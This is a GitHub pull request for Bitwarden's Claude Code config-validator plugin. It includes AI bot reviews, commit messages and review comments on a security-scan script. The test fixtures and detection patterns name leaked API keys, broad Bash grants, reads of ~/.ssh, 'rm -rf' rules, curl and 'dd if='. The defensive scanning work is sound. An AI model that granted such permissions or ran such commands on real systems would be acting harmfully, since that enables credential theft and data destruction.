feat(claude-config-validator)!: fence findings to the changeset and split the review skill - #201
feat(claude-config-validator)!: fence findings to the changeset and split the review skill#201withinfocus wants to merge 19 commits into
Conversation
🤖 Bitwarden Claude Code ReviewOverall Assessment: REQUEST CHANGES Round seventeen, reviewed at head Code Review Details
Verified against the working tree rather than the diff:
|
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
Claude Code validationResult: Issues found Validated PR #201 ( The headline result is that the risky part of this PR is clean. Deleting 14 files across a plugin that cross-references itself heavily is where this change could have broken, and it did not: five independent passes resolved every relative path, The findings below are concentrated in CriticalNone. MajorReproduced defects in
Defects in the new skills
Minor
What passed
Checks run
|
![aikido-pr-checks[bot]](https://avatars.githubusercontent.com/in/898896?s=60&v=4){kind=small}
d7870d9 to
dfba041
Compare
…y file path The placeholder filter added in 47ea728 ran over the whole grep -r record, which begins with the path, so a real key in any file under an example-named path was discarded and the scan reported a pass. Verified by execution both ways: an identical 40-char sk- key in example-agent.md and prod-agent.md is now reported for both, and the plugin's own teaching examples still produce no finding. Also reconcile hook severity, which contradicted itself four lines apart: a quoted value consumed directly by the command is not a finding, unquoted is CRITICAL, and a nested shell is CRITICAL either way. Drop the blanket permission elevation in Security Context, which overrode the per-field tables and falsified the security floor's own rationale, and extend agent tool-access review to Skill alongside Task.
…alue e5d374f narrowed the OpenAI and GitHub token filters from the whole grep record to the value and did not bring the generic-credential check along, so it still discarded any match whose file path contained example or xxx. Reproduced the reported fixture: three identical credentials, one reported. All three are reported now, and the plugin's own teaching examples still produce no finding. Also take acceptEdits out of the block whose closing sentence makes every item CRITICAL, since the framework rates it IMPORTANT and asks why rather than blocking, and state in the verdict that a widening the changeset justifies is not a finding at all, which is what makes asking possible. Move the Migration heading below the five Fixed entries it had captured.
|
Fixed in 0f56a18, and this is the third time in this PR I have corrected a rule in one place and left its siblings, so the pattern is worth naming rather than just the defect. Reproduced your fixture exactly before changing anything: three identical credentials, one reported. All three report now, and the plugin's own teaching examples still produce zero findings, so the filter is doing what it was for without doing what it was not. The filter is anchored to the value, |
theMickster
left a comment
theMickster
left a comment
There was a problem hiding this comment.
Couple minor things to change IMO.
Did the /bitwarden-code-review:performing-multi-agent-code-review get a local execution by chance? Only asking because there are an immense amount of churn and all of these files are tightly interwoven.
…-scan.sh Verified by execution before and after. A raw sk- key under any examples/ directory reported "All security checks passed", because the path exclusion on the two token filters dropped it and the generic filter cannot see a key with no apiKey: prefix. Both filters are anchored to the value now, as the generic one already was. The sensitive-path loop grepped the whole settings file, so a config whose only entries are hardening denies failed the scan, contradicting the framework row this PR adds saying such a rule is the control. It reads permissions.allow via jq and records itself skipped without jq. Also drop additionalDirectories from the block that tiers every item CRITICAL, hoist the agent scope exclusion ahead of Pass 1, and reword a CRITICAL checkbox that read as a platform guarantee rather than a condition to confirm. Per review: cut the 2.0.0 changelog entry from 78 bullets to 17, and remove the skill-level README, moving the scanner usage it uniquely held to the plugin root.
…nd scope check 4 Regressions from 88a366c, all reproduced before and after. With jq absent, a settings file granting bare Bash and Read(//Users/x/.ssh/**) printed "All security checks passed" while the same commit added a README line promising skipped checks are never reported as passed. Skips are counted now and a clean-but-incomplete run exits 2. That rewrite also dropped /etc from the sensitive-path list, which two other statements still said was reported, and left the documented twin grepping the whole settings file so a hardening deny failed it. Check 4 had the same whole-file problem plus four patterns whose unescaped pipe made them ERE alternations, so any quoted string containing curl tripped them. Both fixed in the script and the documented copy, which now share one path list.
|
The rest of the validation round is in 484fe38, verified by execution rather than by reading. Fixtures and results:
Check 4 now reads Three review-guidance findings are also in: the skill-support-file precondition is changeset-wide rather than per-plugin and both commands now name support files in the handoff; Not doing: |
…heck sweep 484fe38 unified the two sensitive-path lists and moved .config from a whole-file grep into a contains() loop, where it matches vite.config.ts, jest.config.js, and a Bash(npx jest --config ...) rule. Reproduced: the scan exited 1 on a benign edit rule. Anchored to .config/, which still matches Read(//Users/x/.config/**). The same commit added a skip branch to detect-dangerous-commands.sh without the counter its sibling block already had, so it printed SKIPPED and then exited 0 while the changelog claimed both copies gate their verdict. Every skip branch in both files is now checked to increment: six of six. Also annotate the reviewer-facing dangerous-command grep as candidates-only and anchor dd as dd if=. That is the block two skills tell reviewers to reuse, and it read as allow-only while being file-wide.
jq exits non-zero on a parse error exactly as it does on no-match, and the jq conversion in this PR swallowed both. A malformed settings.json holding a bare Bash grant, an ssh read grant, and Bash(rm -rf:*) produced "All security checks passed" and exit 0. Before the conversion those three checks were greps that fired regardless of whether the file parsed, so this is a regression the PR introduced. Invalid JSON is now CRITICAL, matching what reviewing-runtime-configuration already rates it, in the script and both documented detectors. Verified that valid files still report all three grants and that the jq-absent path still exits 2. Also reconcile two pairs of contradicting instructions: whether the agent frontmatter pass runs by default, and whether a quoted $ARGUMENTS interpolation is CRITICAL when the same file demonstrates it is arbitrary command execution.
| echo "" | ||
|
|
||
| if [ $ISSUES_FOUND -eq 0 ]; then | ||
| if [ $ISSUES_FOUND -eq 0 ] && [ $CHECKS_SKIPPED -ne 0 ]; then |
There was a problem hiding this comment.
git ls-files cannot run, so this verdict can exit 0 on a check that never happened.
Trace and fix
:41 is git ls-files 2>/dev/null | grep -q "settings.local.json". Under set -eo pipefail that pipeline is non-zero for two different reasons — nothing matched, or git failed because the working directory is not a repository — and both land in the else at :51, which prints ✅ OK: settings.local.json not in git and leaves CHECKS_SKIPPED at its current value. This line then reads CHECKS_SKIPPED -ne 0 as the only signal of incomplete coverage, and README.md adds "Checks that cannot run are reported as skipped rather than passed" in the same changeset. Check 1 is the one check that can silently fail this way, and it is the CRITICAL one.
Two triggers, both reachable through the invocation the README documents (security-scan.sh /path/to/.claude):
- Run from a directory that is not a git work tree:
git ls-filesexits 128, output is empty, and the run prints OK and exits 0. - Run from repository A while scanning repository B's
.claude:git ls-filesresolves against the process working directory rather thanCLAUDE_DIR, so the answer describes A while the header says "Scanning:<B>/.claude".
Anchoring the check to CLAUDE_DIR fixes both:
if ! git -C "${CLAUDE_DIR}" rev-parse --is-inside-work-tree >/dev/null 2>&1; then
echo " ⚠️ SKIPPED: settings.local.json check needs ${CLAUDE_DIR} inside a git work tree"
echo ""
CHECKS_SKIPPED=$((CHECKS_SKIPPED + 1))
elif git -C "${CLAUDE_DIR}" ls-files | grep -q "settings.local.json"; then
...The git ls-files | grep | sed at :44 wants the same -C so the listed paths match the directory being scanned.
| elif jq -e '.permissions.allow[]? | select(. == "Bash")' .claude/settings.json >/dev/null 2>&1; then | ||
| echo "CRITICAL: Bare Bash rule in allow auto-approves every shell command" | ||
| ISSUES=1 |
There was a problem hiding this comment.
♻️ DEBT: The rewritten detect-broad-permissions.sh is narrower than the manual patterns directly above it, so it reports a bare Write grant as scoped.
Details and fix
Two gaps, both on lines this changeset rewrote:
:193tests. == "Bash", whilescripts/security-scan.sh:146tests^(Bash|Write|Edit|WebFetch|WebSearch)$and the manual grep at:128covers the same five."allow": ["Write"]exits this detector atOK: Permissions appropriately scoped.:158and:163grepRead(//**)andWrite(//**)only, while the manual pattern at:122andsecurity-scan.sh:121are"(Read|Write|Edit)\(//\*\*\)".Edit(//**)clears the documented detector and fails the shipped one.
The comment at :180-183 describes the check generically as "a bare rule", so the Bash-only test reads as an oversight rather than a deliberate scope.
| elif jq -e '.permissions.allow[]? | select(. == "Bash")' .claude/settings.json >/dev/null 2>&1; then | |
| echo "CRITICAL: Bare Bash rule in allow auto-approves every shell command" | |
| ISSUES=1 | |
| elif jq -e '.permissions.allow[]? | select(test("^(Bash|Write|Edit|WebFetch|WebSearch)$"))' .claude/settings.json >/dev/null 2>&1; then | |
| echo "CRITICAL: Bare tool rule in allow matches every use of the tool" | |
| ISSUES=1 |
:158 and :163 collapse into the same single grep the shipped script uses.
3 participants
🎟️ Tracking
Stacked on #199, which must merge first. This branch is based on
fix-config-validator-skill-grant-coherencerather thanmain, so the diff shown here is onlythis layer.
No Jira ticket, matching #197 and #198.
📔 Objective
/validate-aiand/validate-ai-localproduce more findings the more code a change touches,rather than the more it changes. Three causes, each verified against the branch:
git grep -inE 'pre-existing|not introduced by this change|introduced or worsened'over the plugin returns nothing, while the siblingbitwarden-code-reviewhas had one atperforming-multi-agent-code-review/SKILL.md:180all along. Without it a review re-audits whole files just because they appear in a diff, so finding supply tracks the size of the files touched rather than the size of the change.priority-framework.mdclassified "Vague or unclear instructions", "Missing examples for complex concepts", and "Duplicated documentation" as IMPORTANT. The scope reference mapped IMPORTANT to Error. fix(claude-config-validator): match the skill's documented behavior to its tool grants #199 then made any IMPORTANT finding setIssues found. Put together, a prose-taste observation failed the run.Two structural problems compounded it. The same
SKILL.mdgot reviewed twice, since step 4bsends it to
plugin-dev:skill-reviewerand step 4c sent it here as well, with no dedup betweenthem. And the seven
examples/example-*-review.mdfiles, all dating to the plugin's firstcommit, taught an output format the report contract explicitly overrides, in vocabulary it does
not use ("BLOCK", "Cannot approve").
Guards
SKILL.mdbecause every invocation path reads it; the scope reference carries the pointer and the subagent-prompt instruction.leave as-is in this PRclass. CRITICAL and security findings are exempt from all but the fence and the verification test. There is no confidence score, because with no separate verification pass behind it a self-assigned number adds ceremony without adding a check.priority-framework.mdrates some real regressions IMPORTANT and a severity-only rule would pass every one of them.(intentionally duplicated — edit them together)marking the deliberate repetitions. The CWE-1427 boundary is one of those, and it now appears in all four targeted skills as well, since each can be invoked directly and cannot rely on the router being in context.SKILL.mdreview leaves this plugin entirely.plugin-dev:skill-revieweralready covers frontmatter, trigger quality, word count, style, progressive disclosure, and missing references, and both commands route every changed skill to it. Agent frontmatter review stays, skipped only whereplugin-dev:plugin-validatoractually ran, since a bare.claude/agents/*.mdor an uninstalledplugin-devwould otherwise leave frontmatter unchecked.Structure
reviewing-claude-configbecomes a router and keeps its name, so the four cross-plugin callersare untouched. Four targeted skills replace the checklist tree.
reviewing-agent-definitionsreviewing-command-definitionsreviewing-runtime-configurationsettings.jsonreviewing-project-guidanceCLAUDE.mdA fallback row catches any in-scope path with no targeted skill, so skill support files under
reference/,examples/, andscripts/get read for instruction content rather than dropped.The ✅/❌ blocks stay inline in each skill. They calibrate judgment rather than demonstrate an
output format, so they work at the point of the check.
Thirteen files are deleted: six checklists and seven review examples. Net 2,100 fewer lines.
Breaking
Version
1.2.2to2.0.0.checklists/andexamples/directories are gone. Anything referencing those paths has to point at the targeted skills instead.reviewing-claude-configno longer reviewsSKILL.md.Known gap
bitwarden-code-reviewstill describes this skill as reviewingSKILL.mdand"progressive-disclosure structure", at
bitwarden-code-reviewer/AGENT.md:83andperforming-multi-agent-code-review/SKILL.md:173. Fixing it edits a second plugin and pulls inthat plugin's own version bump, so it wants a separate PR. The failure mode is a stated omission
rather than a false pass, since the skill reports that it did not cover the file.